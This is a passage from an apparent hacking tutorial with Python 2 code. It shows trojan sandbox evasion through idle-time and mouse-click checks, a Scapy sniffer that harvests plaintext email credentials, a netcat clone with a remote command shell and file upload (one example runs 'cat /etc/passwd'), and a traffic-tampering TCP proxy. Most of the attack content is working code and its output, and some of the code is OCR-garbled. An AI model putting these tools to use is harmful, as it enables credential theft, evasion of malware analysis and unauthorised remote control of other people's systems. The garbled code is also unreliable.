something in order to become infected. What this means is that, in the last couple of minutes, you would see input from the user. If you happened to see that the system has been going for 10 minutes and the last input by the user was also 10 minutes ago, it is more than likely that you are trapped in a sandbox and no input has been processed. This is all part of making the right judgment call with a trojan that is consistent.

We can also use this technique to poll the target system; this will allow you to see if the target is idle. You may want to take your screenshots only when the target is active or you may only want to do other tasks or transmit some data when the target looks like they are offline.

Ok, let's remove the last three lines from the test code and add in some other code to watch mouse clicks and keystrokes. This time, we will make use of a pure ctype solution instead of PyHook. You can use PyHook if you want but having additional tricks up your sleeve will be helpful – at the end of the day, every technique and technology for sandboxing and antivirus has their own way of detecting what you are doing.

```
def get_key_press():
global mouse_clicks
global keystrokes
for i in range(0,0xff):
if user32.GetAsyncKeyState(i) == -32767:
# 0x1 is the code for a left mouse-click
if i == 0x1:
mouse_clicks += 1
return time.time()
```

```
elif i > 32 and i < 127:
keystrokes += 1
return None
```

This is a simple function that tells us how many clicks of the mouse there have been, what time they were and the number of keystrokes form the user. To do this, we iterate over the input keys (the valid ones) for each of the keys. We will use the function called GetAsyncKeyState to see if the key was pressed or not. If the key has been pressed, we can look to see if it is 0x1 – this is the virtual code for a left click on the mouse. We will increase the number of the clicks and the current timestamp will be returned so that, later, we will be able to calculate timings.

We are also going to see if any ASCII
keystrokes were done on the keyboard and, if there were, we increase the keystroke number that was detected. Let's put the results from the functions into the primary loop for sandbox detection – add this code to sandbox_detect.py:

```
def detect_sandbox():
global mouse_clicks
global keystrokes
max_keystrokes = random.randint(10,25)
max_mouse_clicks = random.randint(5,25)
double_clicks = 0
max_double_clicks = 10
double_click_threshold = 0.250 # in seconds
first_double_click = None
average_mousetime = 0
max_input_threshold = 30000 # in milliseconds
previous_timestamp = None
detection_complete = False
last_input = get_last_input()
# if we hit our threshold we should get out
if last_input >= max_input_threshold:
sys.exit(0)
while not detection_complete:
keypress_time = get_key_press()
if keypress_time is not None and previous_timestamp is not None:
# calculate the time in between double clicks
elapsed = keypress_time - previous_timestamp
# the user double clicked
if elapsed <= double_click_threshold:
double_clicks += 1
if first_double_click is None:
```

```
# get the timestamp of the first double click
first_double_click = time.time()
else:
if double_clicks == max_double_clicks:
if keypress_time - first_double_click <= .
(max_double_clicks * double_click_threshold):
sys.exit(0)
# we are happy because there is sufficient user input
if keystrokes >= max_keystrokes and double_clicks >= max_.
double_clicks and mouse_clicks >= max_mouse_clicks:
return previous_timestamp = keypress_time
elif keypress_time is not None:
previous_timestamp = keypress_time
detect_sandbox()
print "We are doing fine!"
```

OK, do keep in mind the indentation here. We have defined some variables to begin with; these track the mouse click timing and we also defined a few thresholds to determine the number of mouse-clicks or keystrokes suit us before we can determine if we are in or out of a sandbox. These thresholds are randomized on every run but you can set your own as per your own testing.

Then we will get the time that has elapsed since the last user input and, if we think it has been a little too long, we will get out of the system and the trojan will die off. Alternatively, you could choose to have the trojan do something innocuous, like checking files or reading registry keys, rather than dying.

After the initial check has been done, we can go on to the primary loop for the detection of mouse-clicks and keystrokes. First, we will look for the mouse-clicks or the keystrokes and we will know that, if a value is returned by the function, it will be a timestamp of when the event happened. Then we will work out how long has elapsed between events and compare it with the threshold – this will tell us whether it was single or double-click.

Together with the detection of double-clicks, we will also be trying to determine if the operator of the sandbox is pushing click events into the box in an attempt to fake the detection techniques out. For example, it would be a little strange if you saw something like 100 doubleclicks all in a row during what should be normal usage of the computer. If the number of double-clicks that we set as a maximum is reached and they are rapid double-clicks, we get out.

Lastly, we want to determine if all the checks have been passed and the maximum number of keystrokes, clicks and double-clicks has been reached – it yes, we get out of the detection function.

Chapter Four: Stealing E-mail Credentials

Thanks to www.codingsec.net for help with the code examples

Sometimes, you will come across a Python library that is so good, it would need an entire book dedicated to it to talk about it. One such library is called Scapy and it’s a packet manipulation library created by Phillipe Biondi. By the time you get to the end of this chapter you are going to realize just how much work I made you do up to now; work that could have been completed with just a couple of lines of Scapy.

Scapy is one of the most flexible and powerful of all the Python libraries and the possibilities are pretty much endless. We’ll get an idea of how it all works by using it to sniff the credentials for plain text emails.

Scapy is best used on Linux as this is what it was designed for. Windows is supported on the latest version of Scapy but, for this, we are going to use Kali VM with a fully working installation of Scapy. If you need to install Scapy, you can get it from
www.secdev.org/projects/scapy

Stealing Email Credentials

You already have some knowledge of sniffing using Python so we can move straight on to the Scapy interface that lets us sniff packets and decode the contents. We will be creating a basic sniffer that will capture POP3, SMTP and IMAP email credentials. To get an idea of how Scapy works, we are going to begin with a skeleton of a sniffer that will cut the packets open and dump them out. The sniff function looks like this:

```
sniff(filter="",iface="any",prn=functi on,count=N)
```

We can use the filter parameter to specify a Wireshark-style filter, called a

BPF filter, to the packets sniffed by Scapy – this can be left blank so it will sniff all the packets. For example, if you only wanted to sniff HTTP packets your BPF filter would have a tcp port of 80.

The parameter called iface lets the sniffer know which network interface it should be sniffing on; again, if this is left blank, all of the interfaces will be sniffed. The parameter called prn is used to specify the callback function that will get called for all packets that are a match to the filter; the function will get the object as its only parameter. The parameter called count allows you to say how many packets are to be sniffed; blank, Scapy will carry on sniffing indefinitely.

We will begin by making a sniffer that can sniff a packet and then dump the contents of the packet. Then, we will expand it so that it only sniffs commands that are email-related.

Open mail_sniffer.py and add the following code in:

```
from scapy.all import *
# our packet callback
def packet_callback(packet):
print packet.show()
# fire up our sniffer
sniff(prn=packet_callback,count=1)
```

The first thing we did was defined a callback function that receives each of the sniffed packets. Then we told Scapy to just get on and start sniffing; this is to be done on every interface and with no filters.

Run the script and you should see something like this:

```
$ python2.7 mail_sniffer.py
WARNING: No route found for IPv6 destination :: (no default route?)
###[ Ethernet ]###
dst = 10:40:f3:ab:71:02
src = 00:18:e7:ff:5c:f8
type = 0x800
###[ IP ]###
version = 4L
ihl = 5L
tos = 0x0
len = 52
id = 35232
flags = DF
frag = 0L
```

```
ttl = 51
proto = tcp
chksum = 0x4a51
src = 195.91.239.8
dst = 192.168.0.198
\options \
###[ TCP ]###
sport = etlservicemgr
dport = 54000
seq = 4154787032
ack = 2619128538
dataofs = 8L
reserved = 0L
flags = A
window = 330
chksum = 0x80a2
urgptr = 0 options = [('NOP', None), ('NOP', None), ('Timestamp', (1960913461,
764897985))]
None
```

How easy was that! As you can see, when the packets started arriving on the network, the callback function used packet.show() the builtin function, to show what was in the packets and to sift through some of the information regarding the protocols. Show() is a good way for you to debug a script on the fly to ensure that you capture the output that you are aiming for.

OK, so our sniffer is up and running, it’s time to put a filter and some logic in place to the callback function so that we can sift out the strings that are related to email authentication:

```
from scapy.all import *
# our packet callback
def packet_callback(packet):
if packet[TCP].payload:
mail_packet = str(packet[TCP].payload)
if "user" in mail_packet.lower() or "pass" in mail_packet.lower():
print "[*] Server: %s" % packet[IP].dst
print "[*] %s" % packet[TCP].payload # fire up our sniffer
sniff(filter="tcp port 110 or tcp port 25 or tcp port 143",prn=packet_
callback,store=0)
```

This is all very straightforward – all we did was added a filter to change the sniff function so that we only sniff the traffic heading for the more common of the mail ports, i.e. port143, which is IMAP, port 25, which is SMTP and port 110 which is for POP3.

We added another parameter in, named store, and set it to 0 to make sure that Scapy wasn't holding the packets in memory. Using this parameter is a good idea if you want a sniffer running long-term because it won't involve you needing to use loads of RAM.

When we call the callback function, we look to ensure that a data payload is there and whether that payload has the normal PASS or USER commands for email. If an authentication string is detected, we then print the destination server and the packet bytes.

Chapter Five: Attacking Computer Security Protocols

Thanks to www.codingsec.net for help with the code examples

First, an overview of the security protocols. These are designed to ensure the integrity and the security of data in transit. The protocols, or rules, define how network data is secured and protected from an illegal attempt to access it. They normally use encryption to keep the data secure so a special algorithm is required to decrypt it. Some of the more common protocols include:

SFTP – Safe File Transfer Protocol HTTPS – Secure Hypertext Transfer Protocol
SSL – Secure Socket Layer

The network is always going to be the arena of choice for a hacker because, with simple access to the network, they can do pretty much anything they want. But, for the hacker that has gotten deep into an enterprise target, you might find yourself in a bit of a pickle. You don't have the tools you need at your disposal to execute a network attack. That means no netcat or Wireshark, no compiler and certainly no way to get one installed.

What you may find though is that Python has a relevant install and, to start with, we are going to look at networking with Python using the socket module before we move onto building a client, a server and then a TCP proxy, all of which we will transform into a netcat with its very own command shell.

Python Networking

While programmers have several tools at their disposal to make a networks client and server, the core module is socket. This is the module that lets us write UDP and TCP clients and servers and, really this is all you will need to break into a network and access your targets. We will start with a TCP client.

TCP Client

TCP clients are great for testing for services, fuzzing, sending garbage data, and much more. Here’s how to build a simple one:

```
import socket
target_host = "www.google.com"
target_port = 80
# create a socket object
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# connect the client
client.connect((target_host,target_port))
# send some data
client.send("GET / HTTP/1.1\r\nHost: google.com\r\n\r\n")
# receive some data
response = client.recv(4096)
print response
```

First, we created the socket object and gave it the parameters of SOCK_STREAM and AF_INET, the latter of which says that we will be using a standard IPV4 hostname or address and the former indicating it is a TCP Client. We connected our client to a server and sent some data to it. Finally, we received a response and printed it.

We have made a couple of assumptions in this code that you will need to be aware of. First, we have assumed that the connection is always going to be successful and second, we have assumed that the server will always expect us to be the first to send data. Third, we expect that the server will always respond quickly.

UDP Client

These are not too much different from the TCP client; we just make a couple f minor changes so that it sends UDP format packets:

```
import socket
target_host = "127.0.0.1"
target_port = 80
# create a socket object
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
# send some data
client.sendto("AAABBBCCC",(target_host,ta rget_port))
# receive some data
data, addr = client.recvfrom(4096)
print data
```

All we did was changed the socket to
SOCK_DGRAM and then we called sendTo(), passing the data in and the server that the data goes to. There is no need to call connect() beforehand because UDP is connectionless so the last step is to call the function recvfrom() so that we get the data back. We will also get the details of the remote port and host.

TCP Server

This is just as simple as creating the client so we will begin with a standard server that is multi-threaded:

```
import socket
import threading
bind_ip = "0.0.0.0"
bind_port = 9999
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((bind_ip,bind_port))

server.listen(5)
print "[*] Listening on %s:%d" % (bind_ip,bind_port)

# this is our client-handling thread
def handle_client(client_socket):
# print out what the client sends
request = client_socket.recv(1024)
print "[*] Received: %s" % request
# send back a packet
client_socket.send("ACK!")
client_socket.close()
while True:
client,addr = server.accept()
print "[*] Accepted connection from: %s:%d" % (addr[0],addr[1])
# spin up our client thread to handle incoming data

client_handler =
threading.Thread(target=handle_client,arg s=(client,))

client_handler.start()
```

We passed the IP address in along with the port that the server is to listen on. Then we told our server to begin listening and gave it a maximum for a backlog of connections – 5. Then the server was put into the main loop so it can wait for the connection to come in.

When a connection is made, the client socket comes into the client variable and the addr variable gets the remote connection details. Then a new thread object gets created and it points to the function called handle_client – this is then passed as an argument to the client socket object. Next, the thread is started to handle the connection and the loop is ready to handle incoming connections. The function recv() is performed by handle_client and a message is sent to the client.

Use this with the TCP client from earlier; send a few test packets and you should see something along these lines:

```
[*] Listening on 0.0.0.0:9999
[*] Accepted connection from:
127.0.0.1:62512
[*] Received: ABCDEF
```

Replacing Netcat

Netcat is the backbone of networking so it isn’t surprising that it gets removed by system administrators. We are going to build a replacement netcat, like this:

```
import sys
import socket
import getopt
import threading
import subprocess
# define some global variables
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
```

```
port = 0
```

We have imported all the libraries that we need and we have set a few global variables – quite simple to begin with. Next, we create the function that will call the other functions and deal with the command line arguments:

```
def usage():
print "BHP Net Tool"

print print "Usage: bhpnet.py -t target_host -p port"

print "-l --listen - listen on [host]:[port] for
incoming connections"
print "-e --execute=file_to_run - execute the given file upon
receiving a connection"
print "-c --command - initialize a command shell"
print "-u --upload=destination - upon receiving connection upload a
file and write to [destination]"
print
print
print "Examples: "
print "bhpnet.py -t 192.168.0.1 -p 5555 l -c"
print "bhpnet.py -t 192.168.0.1 -p 5555 l -u=c:\\target.exe"
print "bhpnet.py -t 192.168.0.1 -p 5555 l -e=\"cat /etc/passwd\""
print "echo 'ABCDEFGHI' | ./bhpnet.py -t 192.168.11.12 -p 135"
sys.exit(0) def main():
global listen
global port
global execute
global command
global upload_destination
global target
if not len(sys.argv[1:]):
usage()
# read the commandline options
try:
opts, args =
getopt.getopt(sys.argv[1:],"hle:t:p:cu:",

["help","listen","execute","target","port ","command","upload"]) except
getopt.GetoptError as err:

print str(err)
usage()
for o,a in opts:
if o in ("-h","--help"):
usage() elif o in ("-l","--listen"):
listen = True
elif o in ("-e", "--execute"):
```

```
execute = a
elif o in ("-c", "--commandshell"):
command = True
elif o in ("-u", "--upload"):
upload_destination = a
elif o in ("-t", "--target"):
target = a
elif o in ("-p", "--port"):
port = int(a)
else:
assert False,"Unhandled Option"
# will we be listening or sending data from stdin?
if not listen and len(target) and port > 0:
# read in the buffer from the commandline
# this is going to block, so send CTRL-D if not sending input
# to stdin buffer = sys.stdin.read()
# send the data off
client_sender(buffer)
# we are going to listen and potentially
# upload something, execute a command, and drop a shell back
# depending on the command line options specified above
if listen:
server_loop()
main()
```

To start with, we read the command-line options in and then set the variables that were needed. If our criteria are not matched by a parameter, we will then print the usage information.

Next, we try to imitate netcat to read the data contained in stdin, so it can be sent over the network. If you want to send your data
interactively, don’t forget to bypass that read by sending CTRL+D. Lastly, we are detecting that the listening socket is set up and more commands can be processed.

Now it’s time to beef up some of the features, beginning with the client code. Input this code BEFORE the main function in the existing script:

```
def client_sender(buffer):
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
# connect to the target host
client.connect((target,port))
if len(buffer):
client.send(buffer)
while True:
```

```
# now wait for the data back
recv_len = 1
response = ""
while recv_len:
data = client.recv(4096)
recv_len = len(data)
response+= data
if recv_len < 4096:
break
print response,
# wait for some more input
buffer = raw_input("")
buffer += "\n"
# send it off
client.send(buffer)
except:
print "[*] Exception! Exiting."
# tear the connection down
client.close()
```

This should all be looking familiar now. We have set the TCP socket object up and tested to see if an input has been received from stdin. If everything is as it should be, the data gets sent to the target and we get more data back until there is nothing left to come back. Then we wait to see if anymore input is coming from the user and we continue to send and receive until the script gets killed off by the user.

Next, we are going to create a primary server loop and then a stub function – these will handle the command execution and the command shell:

```
def server_loop():
global target
# if we havent defined a target, we will listen on all the interfaces
if not len(target):
target = "0.0.0.0"
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((target,port))
server.listen(5)
while True:
client_socket, addr = server.accept()
# spin a thread off to handle our new client
client_thread =
threading.Thread(target=client_handler,
args=(client_socket,))
client_thread.start()
def run_command(command):
# trim the newline
```

```
command = command.rstrip() # run the command and get the output back
try:

output =
subprocess.check_output(command,stderr=su bprocess.

STDOUT, shell=True)
except:
output = "Failed to execute command.\r\n"
# send the output back to the client
return output
```

You know all about the server_loop function by now so we’ll look at the run_command function instead. This has got a library in it that we haven't talked about yet called subprocess. This library has an interface for processcreation that gives you a few ways to start a client program and interact with it. In our script, we run whichever command is passed in on the local OS, with the output returned from that command back to the client we are connected to. Genetic errors are caught by the exception handling code and a message will be returned telling us of the code failure.

Now we are going to add in the logic that will let us do file uploads, for command execution and for the shell:

```
def client_handler(client_socket):
global upload
global execute
global command
# check for upload
if len(upload_destination):
# read in all the bytes and write to our destination
file_buffer = ""
# keep reading the data until none is available
while True:
data = client_socket.recv(1024)
if not data:
break
else:
file_buffer += data
# now we will take the bytes and attempt to write them out
try: file_descriptor =
open(upload_destination,"wb")
file_descriptor.write(file_buffer)
file_descriptor.close()
# acknowledge that the file was written out
client_socket.send("File saved successfully to
%s\r\n" % upload_destination)
```

```
except:
client_socket.send("Failed to save file to %s\r\n" %
upload_destination)
# check for command execution
if len(execute):
# run the command
output = run_command(execute)
client_socket.send(output)
# now we go into another loop if a command shell was requested
if command:
while True:
# show a simple prompt

client_socket.send("<BHP:#> ") # now we will receive until we see a linefeed

(enter key)
cmd_buffer = ""
while "\n" not in cmd_buffer:
cmd_buffer += client_socket.recv(1024)
# send the command output back
response = run_command(cmd_buffer)
# send the response back
client_socket.send(response)
```

The first bit of code is to work out if our network tool will receive files when a
connection is made. The file date is received in a loop to ensure that we get it all and then a file handle is opened and the contents are written out. Use of the wb flag is to ensure that binary mode is enabled when we write the file and this, in turn, ensures that our upload and write will go off successfully.

Then we process the functionality for execute and this will call the run_command function and the result gets sent back over the network. The final code bit handles the command shell, executing the commands as they come in and sending the output back. Note that if you are looking for a Python client to talk to it, you must add a newline character.

Practical Example Now we are going to have a play with it. Open a new terminal or shell and run the script:

```
johnnie$ ./bhnet.py -l -p 9999 -c
```

Open another terminal or shell and run the script in client mode. Don’t forget it is reading from stdin and to stop this, you need to send an end of file (EOF) marker using CTRL+D:

```
johnnie$ ./bhnet.py -t localhost -p 9999
<CTRL-D>
<BHP:#> ls -la
total 32
drwxr-xr-x 4 johnnie employee 136 18 Dec 19:45 .
drwxr-xr-x 4 johnnie employee 136 9 Dec 18:09 ..
-rwxrwxrwt 1 johnnie employee 8498 19 Dec 06:38 bhnet.py
-rw-r--r-- 1 johnnie employee 844 10 Dec 09:34 listing-1-3.py
<BHP:#> pwd
/Users/johnnie/svn/BHP/code/Chapter2
<BHP:#>
```

The custom command shell is received back and now, as we are using UNIX, we can run local commands and get the output just as if were using SSH to log in. The client can also send out requests in a tried and tested method:

```
johnnie$ echo -ne "GET /
HTTP/1.1\r\nHost: www.google.com\r\n\r\n" | ./bhnet.

py -t www.google.com -p 80
HTTP/1.1 302 Found
Location: http://www.google.ca/
Cache-Control: private
Content-Type: text/html; charset=UTF-8
P3P: CP="This is not a P3P policy! See http://www.google.com/support/
accounts/bin/answer.py?hl=en&answer=15165 7 for more info."
Date: Wed, 19 Dec 2012 13:22:55 GMT
Server: gws
Content-Length: 218
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
<HTML><HEAD><meta http-equiv="contenttype" content="text/html;charset=utf-8">
<TITLE>302 Moved</TITLE></HEAD><BODY>
<H1>302 Moved</H1>
The document has moved
<A HREF="http://www.google.ca/">here</A>.
</BODY></HTML>
[*] Exception! Exiting.
johnnie$
```

That is all there is to it – how to hack a few client and server sockets together. Now we are going to look at building a TCP proxy:

Building a TCP Proxy

There are a few reasons why you might want one of these – you can forward traffic so it bounces between hosts, and you can also use it to assess software that is network-based. This TCP proxy will help you to modify traffic that is off to an application, understand protocols that are not well-known and create a test case for a fuzzer:

```
import sys
import socket
import threading

def
server_loop(local_host,local_port,remote_ host,remote_port,receive_first):

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
server.bind((local_host,local_port))
except:
print "[!!] Failed to listen on %s:%d" % (local_host,local_
port)
print "[!!] Check for other listening sockets or correct
permissions."
sys.exit(0)
print "[*] Listening on %s:%d" % (local_host,local_port)
server.listen(5)
while True:
client_socket, addr = server.accept()
# print out the local connection information
print "[==>] Received incoming connection from %s:%d" %
(addr[0],addr[1])
# start a thread to talk to the remote host
proxy_thread =
threading.Thread(target=proxy_handler,
args=(client_socket,remote_host,remote_po rt,receive_first))
proxy_thread.start()
def main():
# no fancy command-line parsing here
if len(sys.argv[1:]) != 5:
print "Usage: ./proxy.py [localhost] [localport] [remotehost]
[remoteport] [receive_first]"
print "Example: ./proxy.py 127.0.0.1 9000 10.12.132.1 9000 True"
sys.exit(0)
# setup local listening parameters
local_host = sys.argv[1]
local_port = int(sys.argv[2]) # setup remote target
remote_host = sys.argv[3]
remote_port = int(sys.argv[4])
# this will tell the proxy to connect and receive data
# before sending to the remote host
receive_first = sys.argv[5]
if "True" in receive_first:
receive_first = True
```

```
else:
receive_first = False
# now spin up our listening socket
server_loop(local_host,local_port,remote_ host,remote_port,receive_first)
main()
```

This is all familiar to you now – the command line arguments are taken in; a server loop is opened to listen for a connection and, when one comes in, we pass it to proxy_handler to send and receive.

Add this next bit of code to your main function:

```
def proxy_handler(client_socket,
remote_host, remote_port, receive_first): # connect to the remote host
remote_socket =
socket.socket(socket.AF_INET,
socket.SOCK_STREAM)
remote_socket.connect((remote_host,remote _port))
# receive data from the remote end if necessary
if receive_first:
remote_buffer =
receive_from(remote_socket)
hexdump(remote_buffer)
# send it to our response handler
remote_buffer =
response_handler(remote_buffer)
# if we have data to send to our local client, send it
if len(remote_buffer):
print "[<==] Sending %d bytes to localhost." %
len(remote_buffer)
client_socket.send(remote_buffer)
# now let’s loop and read from local, # send to remote, send to local
# rinse, wash, repeat
while True:
# read from local host
local_buffer =
receive_from(client_socket)
if len(local_buffer):
print "[==>] Received %d bytes from localhost." % len(local_
buffer)
hexdump(local_buffer)
# send it to our request handler
local_buffer =
request_handler(local_buffer)
# send off the data to the remote host
remote_socket.send(local_buffer)
print "[==>] Sent to remote."
# receive back the response
remote_buffer =
receive_from(remote_socket)
```

```
if len(remote_buffer):
print "[<==] Received %d bytes from remote." % len(remote_buffer)
hexdump(remote_buffer)
# send to our response handler
remote_buffer =
response_handler(remote_buffer)
# send the response to the local socket
client_socket.send(remote_buffer)
print "[<==] Sent to localhost."
# if no more data on either side, close the connections
if not len(local_buffer) or not len(remote_buffer):
client_socket.close()
remote_socket.close()
print "[*] No more data. Closing connections."
break
```

This is where most of the proxy logic is. To start, we must make sure that, before we enter the main loop, we don’t need to initiate that connection to a remote target. Then the function called receive_from to take the socket object that is connected and carry out a receive. The contents to the packet are dumped so that we can examine them and the output is handed to the function called response_handler. You modify the contents of the packet in that function, to test for issues with authentication, perform a fuzzing test or whatever else you want to do.

Lastly, the local client is sent the received buffer. The rest of this code is straightforward read, process. Send, read, process, send until all the data is gone.

This next bit will complete the proxy:

```
# this is a nice hex dumping function that we have directly taken from
# the comments here:

#
http://code.activestate.com/recipes/14281 2-hex-dumper/

def hexdump(src, length=16):
result = []
digits = 4 if isinstance(src, unicode) else 2
for i in xrange(0, len(src), length):
s = src[i:i+length]

hexa = b' '.join(["%0*X" % (digits, ord(x)) for x in s])
text = b''.join([x if 0x20 <= ord(x) < 0x7F else b'.' for x in s])

result.append( b"%04X %-*s %s" % (i, length*(digits + 1), hexa,
text) )
print b'\n'.join(result)
def receive_from(connection):
buffer = ""
# We set a 2 second timeout; depending on your
# target, this may need to be adjusted
connection.settimeout(2)
try:
# keep reading into the buffer until
# there's no more data
# or we time out
while True:
data = connection.recv(4096)
if not data:
break
buffer += data
except: pass
return buffer
# modify any requests destined for the remote host
def request_handler(buffer):
# perform packet modifications
return buffer
# modify any responses destined for the local host
def response_handler(buffer):
# perform packet modifications
return buffer
```

What we did was created the function for hex dumping – this will output the details of the packets with ASCII-printable characters and hexadecimal values. The function called receive_from will receive both remote and local data and all we do is pass the relevant socket object in. The rest will handle the data receipt until there is no more data to be detected. The final pair of functions are used to modify traffic that is going to either of the proxy ends.

Practical Example

Now we can test all this out on an FTP server so use the following to open the proxy:

```
johnnie$ sudo ./proxy.py 127.0.0.1 21 ftp.target.ca 21 True
```

Port 21 is classed as privileged so we use sudo because root or admin privileges are required to listen. Now set an FTP client of your choice to use port 21 and localhost – make sure that your proxy is pointed to a server that will respond. You should see something like this:

```
[*] Listening on 127.0.0.1:21
```

```
[==>] Received incoming connection from 127.0.0.1:59218
0000 32 32 30 20 50 72 6F 46 54 50 44 20 31 2E 33 2E 220 ProFTPD 1.3.
0010 33 61 20 53 65 72 76 65 72 20 28 44 65 62 69 61 3a Server (Debia
0020 6E 29 20 5B 3A 3A 66 66 66 66 3A 35 30 2E 35 37 n) [::ffff:22.22
0030 2E 31 36 38 2E 39 33 5D 0D 0A .22.22]..
[<==] Sending 58 bytes to localhost.
[==>] Received 12 bytes from
localhost.
0000 55 53 45 52 20 74 65 73 74 79 0D 0A USER testy..
[==>] Sent to remote.
[<==] Received 33 bytes from remote.
0000 33 33 31 20 50 61 73 73 77 6F 72 64 20 72 65 71 331 Password req
0010 75 69 72 65 64 20 66 6F 72 20 74 65 73 74 79 0D uired for testy.
0020 0A .
[<==] Sent to localhost.
[==>] Received 13 bytes from localhost.
0000 50 41 53 53 20 74 65 73 74 65 72 0D 0A PASS tester..
[==>] Sent to remote.
[*] No more data. Closing connections.
```

Clearly, you can see that we received the FTP banner and sent a username and a password – because the credentials are incorrect, we are able to come out of the server cleanly.

Conclusion

You have come to the end of your journey and, although this is by no means a comprehensive guide on black hat hacking, you have learned the basics of the main points of attack that a hacker will target.

Understanding how they can get in is
paramount to understanding how to secure your networks against them. If there is even the tiniest chink in the armor that surrounds the network, you can bet your bottom dollar that the hackers know about it. If they aren’t already in, most certainly, they are preparing their attack. Don’t leave it to chance; lock up tight now and save yourself a whole heap of heartache in the future.

While there are several types of hacker, the black hat is the one to watch out for because they are the ones that will come after your personal data, they are the ones that can bring your system to its knees and, you know what? Unless you know what to look for, you won’t even know they have been there until it’s too late.

Again, I must advise that the content in this guide is purely for educational purposes, just so you know how a hacker can get in and know what signs to look out for.

Thank you for taking the time to read my guide, I hope that you found it useful.

ABOUT THE AUTHOR

Richard Ozer has nearly 30 years of professional experience as the CEO of Office Information Systems, and has provided hundreds of businesses in the California Bay Area with technology consulting, systems integration, database application development, and sales & service. He is a significant interest in the cryptocurrency market and advocates digital currency as an asset class for high net worth investors and regular individuals alike developing their financial portfolios.